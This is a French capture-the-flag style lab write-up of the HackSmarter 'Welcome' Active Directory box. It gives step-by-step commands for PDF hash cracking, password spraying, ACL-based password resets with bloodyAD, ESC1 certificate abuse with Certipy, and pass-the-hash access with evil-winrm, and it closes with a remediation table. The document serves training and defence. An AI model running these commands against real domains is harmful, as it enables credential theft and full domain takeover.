ZNote Logo
ZNote
Labs PentestfacileHackSmarter
06-08-2026
11 min

Lab Welcome : PDF Cracking, Password Spraying et ESC1 vers l'Administrateur du Domaine

Pentest Active Directory en scénario assumed breach avec des credentials de phishing : découverte d'un PDF protégé sur un partage RH révélant le mot de passe par défaut de l'entreprise, password spraying réussi sur un compte, abus d'une double chaîne d'ACL (GenericAll puis ForceChangePassword) cartographiée avec BloodHound, et élévation finale à l'Administrateur du domaine via une vulnérabilité ESC1 sur un template de certificat ADCS.

Active Directory
Password Spraying
PDF Cracking
BloodHound
GenericAll
ForceChangePassword
ADCS
ESC1
Certipy
HackSmarter
Windows
Pentest

Contexte et Objectifs

ChampDétail
PlateformeHackSmarter
LienAccéder au lab
CibleDC01.WELCOME.local, 10.1.53.70
OSWindows Server 2022 (Build 20348)
DomaineWELCOME.local
DifficultéFacile

Scénario : en tant que membre de la Hack Smarter Red Team, un engagement de phishing a permis de récupérer des credentials valides pour l'environnement Active Directory du client (e.hills:Il0vemyj0b2025!). L'objectif est d'énumérer l'environnement, d'élever ses privilèges et de démontrer l'impact final auprès du client.

Kill chain :

Sortie
Assumed breach (e.hills)
        │
        ▼
Partage HR → PDF protégé → pdf2john + crack → Mot de passe par défaut
        │
        ▼
Password Spraying → a.harris (mdp par défaut) → Evil-WinRM → Flag user
        │
        ▼
BloodHound → Chaîne ACL : a.harris → GenericAll i.park → ForceChangePassword svc_ca
        │
        ▼
bloodyAD → Reset mdp de i.park puis de svc_ca
        │
        ▼
certipy-ad find → ADCS ESC1 détecté sur template
        │
        ▼
ESC1 → Certificat Administrator → PKINIT → Hash NTLM → Flag root

1. Reconnaissance

Commande
bash
rustscan -b 500 -a 10.1.53.70 -- -sC -sV -Pn

Output (extrait) :

Sortie
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: WELCOME.local)
| ssl-cert: Subject: commonName=DC01.WELCOME.local
| Issuer: commonName=WELCOME-CA/domainComponent=WELCOME
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap
3268/tcp  open  ldap
3269/tcp  open  ssl/ldap
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp  open  mc-nmf        .NET Message Framing

Host script results:
| smb2-security-mode:
|_    Message signing enabled and required

Analyse :

Signature classique d'un contrôleur de domaine : WELCOME.local, machine DC01, Windows Server 2022. Un détail mérite une attention immédiate : le certificat SSL présenté sur LDAPS est émis par WELCOME-CA, un émetteur qui n'est pas une CA publique. C'est la preuve directe qu'Active Directory Certificate Services (ADCS) est déployé dans ce domaine. À garder en tête : toute compromission d'un compte lié aux certificats prendra une importance particulière plus loin dans l'attaque.

Commande
bash
echo "10.1.53.70 DC01.WELCOME.local WELCOME.local DC01" | sudo tee -a /etc/hosts

2. Énumération Initiale avec les Credentials Fournis

Le scénario étant assumed breach, inutile de tester les sessions anonyme/invité. On part directement des credentials e.hills:Il0vemyj0b2025!.

Commande
bash
ldapsearch -x -H ldap://WELCOME.local -D "e.hills@WELCOME.local" -w 'Il0vemyj0b2025!' \
  -b "DC=WELCOME,DC=local" "(sAMAccountName=e.hills)"

Attributs LDAP du compte e.hills

Le compte e.hills n'appartient à aucun groupe particulier et ne présente aucun attribut exploitable directement. La nécessité de pivoter vers un autre compte se confirme d'entrée.

Partages SMB

Commande
bash
nxc smb 10.1.53.70 -u e.hills -p 'Il0vemyj0b2025!' --shares --smb-timeout 30
Sortie
SMB  10.1.53.70  445  DC01  [+] WELCOME.local\e.hills:Il0vemyj0b2025!
SMB  10.1.53.70  445  DC01  Share            Permissions   Remark
SMB  10.1.53.70  445  DC01  ADMIN$                         Remote Admin
SMB  10.1.53.70  445  DC01  C$                              Default share
SMB  10.1.53.70  445  DC01  Human Resources  READ
SMB  10.1.53.70  445  DC01  IPC$             READ           Remote IPC
SMB  10.1.53.70  445  DC01  NETLOGON         READ           Logon server share
SMB  10.1.53.70  445  DC01  SYSVOL           READ           Logon server share

Un partage non standard, Human Resources, apparaît en lecture. Avant de l'explorer, on complète l'énumération avec la liste des utilisateurs.

Utilisateurs

Commande
bash
nxc smb WELCOME.local -u e.hills -p 'Il0vemyj0b2025!' --users --smb-timeout 30
Sortie
SMB         10.1.53.70      445    DC01             [+] WELCOME.local\e.hills:Il0vemyj0b2025!
SMB         10.1.53.70      445    DC01             -Username-                    -Last PW Set-       -BadPW- -Description-
SMB         10.1.53.70      445    DC01             Administrator                 2025-09-13 16:24:04 0       Built-in account for administering the computer/domain
SMB         10.1.53.70      445    DC01             Guest                         <never>             0       Built-in account for guest access to the computer/domain
SMB         10.1.53.70      445    DC01             krbtgt                        2025-09-13 16:40:39 0       Key Distribution Center Service Account
SMB         10.1.53.70      445    DC01             e.hills                       2025-09-13 20:41:15 0
SMB         10.1.53.70      445    DC01             j.crickets                    2025-09-13 20:43:53 0
SMB         10.1.53.70      445    DC01             e.blanch                      2025-09-13 20:49:13 0
SMB         10.1.53.70      445    DC01             i.park                        2025-09-14 04:23:03 0       IT Intern
SMB         10.1.53.70      445    DC01             j.johnson                     2025-09-13 20:58:15 0
SMB         10.1.53.70      445    DC01             a.harris                      2025-09-13 20:59:13 0
SMB         10.1.53.70      445    DC01             svc_ca                        2025-09-14 00:19:35 0
SMB         10.1.53.70      445    DC01             svc_web                       2025-09-13 21:40:40 0       Web Server in Progress
SMB         10.1.53.70      445    DC01             [*] Enumerated 11 local users: WELCOME

Deux comptes se distinguent par leur description : i.park (stagiaire IT) et svc_ca (dont le nom évoque directement un lien avec la CA repérée en reconnaissance).

ASREPRoast et Kerberoasting

On teste les deux vecteurs Kerberos classiques sur l'ensemble de la liste :

Commande
bash
impacket-GetNPUsers WELCOME.local/ -usersfile users.txt -dc-ip 10.1.53.70 \
  -format hashcat -request -outputfile ASREProastables.txt
Sortie
[-] User e.hills doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.crickets doesn't have UF_DONT_REQUIRE_PREAUTH set
[...] (idem pour tous les autres comptes)
Commande
bash
impacket-GetUserSPNs WELCOME.local/e.hills:'Il0vemyj0b2025!' -dc-ip 10.1.53.70 \
  -request -outputfile kerberoastables.txt
Sortie
No entries found!

Aucun compte vulnérable dans les deux cas. La seule piste restante est le partage Human Resources.


3. Exploration du Partage Human Resources

Commande
bash
smbclient //WELCOME.local/'Human Resources' -U e.hills%'Il0vemyj0b2025!'

Contenu du partage Human Resources

Le partage contient plusieurs PDF. La majorité sont des notes RH génériques sans intérêt, à l'exception d'un fichier protégé par mot de passe : Welcome Start Guide.pdf.

Cassage du PDF

Un PDF protégé par mot de passe utilise un algorithme de chiffrement (RC4 ou AES selon la version du standard) dont les paramètres de dérivation de clé (sel, nombre d'itérations, clé de chiffrement du propriétaire) sont stockés dans le fichier lui-même. L'outil pdf2john extrait ces paramètres et les reformate dans un format que John the Ripper sait attaquer par dictionnaire, exactement comme pour un hash de mot de passe classique.

Commande
bash
# Utiliser pdf2john pour extraire les paramètres de dérivation de clé du PDF
pdf2john "Welcome Start Guide.pdf" > file.hash

# Utiliser John the Ripper pour casser le mot de passe en utilisant le dictionnaire rockyou
john --wordlist=/usr/share/wordlists/rockyou.txt file.hash

Mot de passe du PDF cassé avec John

Sortie
Mot de passe du PDF : humanresources

Une fois déverrouillé, le document révèle un mot de passe par défaut utilisé par l'entreprise pour les nouveaux comptes :

Mot de passe par défaut de l'entreprise révélé dans le PDF

L'hypothèse est immédiate : dans un environnement de plusieurs dizaines de comptes, il est statistiquement probable qu'au moins un utilisateur n'ait jamais changé ce mot de passe par défaut après sa création.


4. Password Spraying

Commande
bash
nxc smb WELCOME.local -u users.txt -p 'Welcome2025!@' --continue-on-success --smb-timeout 30

Résultat du password spraying, a.harris authentifié

Le compte a.harris n'a visiblement jamais mis à jour son mot de passe par défaut.

Sortie
a.harris : Welcome2025!@

5. Accès WinRM et Flag Utilisateur

Commande
bash
ldapsearch -x -H ldap://WELCOME.local -D "e.hills@WELCOME.local" -w 'Il0vemyj0b2025!' \
  -b "DC=WELCOME,DC=local" "(sAMAccountName=a.harris)"

ldapsearch a.harris

a.harris est membre du groupe Remote Management : une connexion WinRM est donc directement possible.

Commande
bash
evil-winrm -u a.harris -i WELCOME.local -p 'Welcome2025!@'

Evil-WinRM a.harris

Le flag utilisateur est récupéré sur le bureau.

userFlag

L'utilisateur ne disposant pas de privilèges notables au-delà de cet accès, on bascule sur BloodHound pour obtenir une vue d'ensemble du domaine.

Privileges


6. Cartographie BloodHound

Commande
bash
bloodhound-ce-python -u 'e.hills' -p 'Il0vemyj0b2025!' -d WELCOME.local -ns 10.1.234.51 -c All

D'abord on voit qu'on a un seul admin(le compte Builtin Administrator)

Builtin Administrator

L'analyse révèle un chemin exploitable en deux maillons depuis a.harris :

Sortie
a.harris ∈ groupe HR ──(GenericAll)──▶ i.park ∈ groupe Helpdesk ──(ForceChangePassword)──▶ svc_ca / svc_web

a.harris, via son appartenance au groupe HR, dispose d'un droit GenericAll (contrôle total, incluant la réinitialisation de mot de passe) sur le compte i.park.

GenericAll

Ce dernier, via le groupe Helpdesk, dispose à son tour du droit ForceChangePassword sur deux comptes de service : svc_ca et svc_web.

ForceChangePassword

Compromission de i.park

Commande
bash
bloodyad -d WELCOME.local -u a.harris -p 'Welcome2025!@' --host 10.1.234.51 \
  set password i.park 'Welcome2025!@'
Sortie
[+] Password changed successfully!
Commande
bash
nxc smb WELCOME.local -u i.park -p 'Welcome2025!@' --shares --smb-timeout 30

Les credentials sont valides. i.park confirme son appartenance au groupe Helpdesk et son droit ForceChangePassword sur svc_web et svc_ca.

Choix de la cible : on ne compromet que svc_ca. Son appartenance au groupe Certificate Secrvice DCOM Access le lie directement au groupe des certificats (piste cohérente avec la CA WELCOME-CA repérée en reconnaissance), tandis que svc_web est explicitement décrit comme "Web Server in Progress", un service inachevé donc peu susceptible d'offrir un chemin d'attaque exploitable.

svc_ca
svc_web

Compromission de svc_ca

Commande
bash
bloodyad -d WELCOME.local -u i.park -p 'Welcome2025!@' --host 10.1.234.51 \
  set password svc_ca 'Welcome2025!@'
Sortie
[+] Password changed successfully!
Sortie
svc_ca : Welcome2025!@

7. Cartographie des Certificats

Référence : AD CS, principes et fonctionnement - Vaadata

svc_ca étant lié au groupe certificats, on cartographie les templates disponibles et on filtre directement ceux qui sont vulnérables avec Certipy :

Commande
bash
certipy-ad find -u 'svc_ca' -p 'Welcome2025!@' -dc-ip 10.1.234.51 \
  -target-ip 10.1.234.51 -vulnerable -stdout

Certipy ESC1

Le résultat pointe un template vulnérable : ESC1.


8. ESC1 : Exploitation

Référence : AD CS Security, Understanding and Exploiting ESC Techniques - Vaadata

Comprendre ESC1

ESC1 est une vulnérabilité de misconfiguration de template de certificat dans ADCS. Elle repose sur la réunion de quatre conditions sur un même template :

  1. Enrollment rights excessifs : un utilisateur non privilégié (ou un groupe large comme "Domain Users") dispose du droit Enroll sur le template.
  2. ENROLLEE_SUPPLIES_SUBJECT activé : le demandeur peut spécifier lui-même le Subject Alternative Name (SAN) de sa requête, au lieu que ce soit l'AD qui l'impose automatiquement.
  3. Authentification activée : le template inclut un EKU (Extended Key Usage) autorisant l'authentification (Client Authentication, Smart Card Logon, ou "Any Purpose").
  4. Pas d'approbation manager requise : le certificat est émis automatiquement, sans validation humaine.

Pourquoi c'est exploitable : normalement, le SAN d'un certificat (l'identité qu'il représente) est fixé par l'autorité de certification en fonction du compte qui soumet la requête. Mais si le template autorise le demandeur à fournir lui-même ce SAN, un utilisateur standard peut demander un certificat en indiquant n'importe quelle identité, y compris celle d'un compte Domain Admin. L'ADCS, faisant confiance à la valeur soumise, émet un certificat valide pour cette identité usurpée.

Le flux de l'attaque :

Sortie
1. Construction de la requête : SAN = "administrator@domain.local"
2. Soumission via Certipy : le template accepte, aucune vérification du SAN fourni
   → un certificat valide au nom d'Administrator est émis
3. Authentification Kerberos PKINIT avec ce certificat
   → le KDC valide la chaîne de confiance de la CA légitime
   → délivre un TGT pour Administrator + le hash NTLM associé (via U2U/PAC)
4. Compromission totale : Pass-the-Hash / Pass-the-Ticket → DCSync, accès total au domaine

Exploitation

Étape 1, soumission de la requête de certificat en spécifiant nous-mêmes l'UPN cible :

Commande
bash
certipy-ad req -u 'svc_ca' -p 'Welcome2025!@' -ca WELCOME-CA -target-ip 10.1.234.51 \
  -template Welcome-Template -upn 'Administrator@WELCOME.local'

ESC1-1 PFX

La requête est acceptée sans vérification du SAN soumis, conformément à la condition 2 d'ESC1. Un fichier administrator.pfx est généré.

Étape 2, authentification Kerberos avec le certificat obtenu :

Commande
bash
certipy-ad auth -pfx administrator.pfx -dc-ip 10.1.234.51

ESC1-2 Authentification

Le KDC valide le certificat et retourne le hash NTLM de l'Administrateur.


9. Flag Root

Commande
bash
evil-winrm -u Administrator -i 10.1.234.51 -H '0cf1b799460a39c852068b7c0574677a'

Flag Root

Le flag root est récupéré sur le bureau de l'Administrateur. Compromission totale du domaine.


10. Conclusion et Remédiation

Kill Chain Complète

Sortie
1. e.hills            → accès partage Human Resources
2. PDF crack          → mot de passe par défaut de l'entreprise (humanresources)
3. Password Spraying   → compromission de a.harris (Flag user)
4. BloodHound         → chaîne ACL : a.harris → GenericAll i.park → ForceChangePassword svc_ca
5. bloodyAD           → compromission de i.park puis de svc_ca
6. certipy-ad find    → template ESC1 vulnérable
7. ESC1               → certificat Administrator → PKINIT → hash NTLM → Flag root

Remédiation

VecteurProblèmeRemédiation
Document sensible sur partage RHUn PDF protégé par un mot de passe faible expose le mot de passe par défaut de l'entrepriseNe jamais documenter de mots de passe, même par défaut, dans des fichiers partagés. Utiliser un coffre de secrets pour l'onboarding
Mot de passe par défaut non changéa.harris conserve le mot de passe par défaut attribué à sa créationForcer le changement de mot de passe à la première connexion (pwdLastSet=0) et auditer les comptes n'ayant jamais changé leur mdp
GenericAll délégué au groupe HRLe groupe HR dispose d'un contrôle total sur des comptes hors de son périmètre métierRestreindre les délégations aux seuls attributs strictement nécessaires (ex: unlockAccount plutôt que GenericAll)
ForceChangePassword délégué au HelpdeskLe groupe Helpdesk peut réinitialiser le mot de passe de comptes de service sensiblesLimiter les droits du Helpdesk aux comptes utilisateurs standards, jamais aux comptes de service liés à l'infrastructure critique
Template ESC1 (Welcome-Template)Enrollment excessif + SAN fourni par le demandeur + authentification + pas d'approbationRetirer ENROLLEE_SUPPLIES_SUBJECT, restreindre les droits d'enrollment aux comptes réellement autorisés, exiger l'approbation manager

[!NOTE] Ce lab illustre comment une simple erreur de traitement documentaire (un PDF protégé par un mot de passe trop faible pour survivre à rockyou.txt) peut amorcer une chaîne complète de compromission. Chaque maillon pris isolément semble mineur : un mot de passe par défaut non changé, une délégation ACL un peu trop large, un template de certificat mal configuré. Combinés, ils mènent à l'Administrateur du domaine.


Writeup rédigé par Zcook

Sur le même sujet